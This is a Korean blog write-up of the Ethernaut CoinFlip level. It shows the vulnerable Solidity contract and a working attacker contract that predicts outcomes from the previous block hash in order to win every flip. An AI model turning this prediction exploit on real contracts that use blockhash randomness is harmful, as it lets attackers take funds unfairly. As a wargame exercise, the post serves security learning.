Ethernaut 3

0

Ethernaut 공부

목록 보기
4/5

level 3 : CoinFlip

이제부터 문제가 문제답다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

block의 해시 값을 이용해 난수를 생성하여 도박장을 열어주는 컨트랙트이다. 이길 때 마다 올라가는 consecutiveWins 값을 확인해 10번 연속으로 성공하면 다음 level로 간다. 말 그대로 돈 넣고 돈 먹으면 통과.

이더리움 처음 공부할 때 항상 나오는 난수 생성의 어려움이 이 level의 주제이다. 이 컨트랙트처럼 블록 해시 값으로 난수를 만드는 경우 악의적인 유저가 컨트랙트를 생성하여 답을 미리 계산해 원하는데로 결과를 이끌 수 있다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './SafeMath.sol';

contract Getcoin {

  using SafeMath for uint256;
  
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  bool public checkvar;

  function callCoinFlip(address add) public returns (bool) {
      bool flipVar = getflip();
      (bool check, bytes memory data) = address(add).call(abi.encodeWithSignature("flip(bool)",flipVar));
      checkvar = check;
      return check;
  }


  function getflip() public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

   return side;
  }
}

getflip() : CoinFlip에서 난수 생성하는 코드를 따와 출력하는 함수
callCoinFlip() : call 함수로 CoinFlip을 호출해 coin을 호로록 날먹하는 함수

여기서 checkvar와 같은 public 변수로 call 함수와 같은 내부 동작이 잘 이루어졌는지 확인해주는게 편리하다.

아 그리고 오버플로 공격을 막기 위한 SafeMath를 리믹스에서 사용하려면 home에서 git으로 받아야 한다. solc 버전 마다 다르므로 유의하도록 한다.

0개의 댓글

관련 채용 정보